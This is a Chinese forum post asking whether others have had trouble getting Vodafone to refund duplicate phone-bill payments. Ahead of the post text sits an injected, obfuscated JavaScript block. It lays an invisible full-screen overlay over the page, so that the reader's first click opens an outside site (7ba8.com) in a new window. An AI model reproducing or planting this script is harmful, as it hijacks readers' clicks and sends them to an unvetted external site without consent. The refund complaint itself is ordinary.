急！！！！VODAPHONE 退钱问题

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>上周四小弟交电话费 在网上付账 上面总显示付款不成功 一共是4次
但是我周五查邮件发现我交了4次电话费  上周五给vodahone客服打电话要求退我3次钱  他们说我这周二和周三能收到多付的钱
直到今天我去店里店员说要等几天，我刚才又打电话给客服他们总是说要24,48小时。
请问有誰有类似经历或者要求Vodaphone退钱的情况出现吗？

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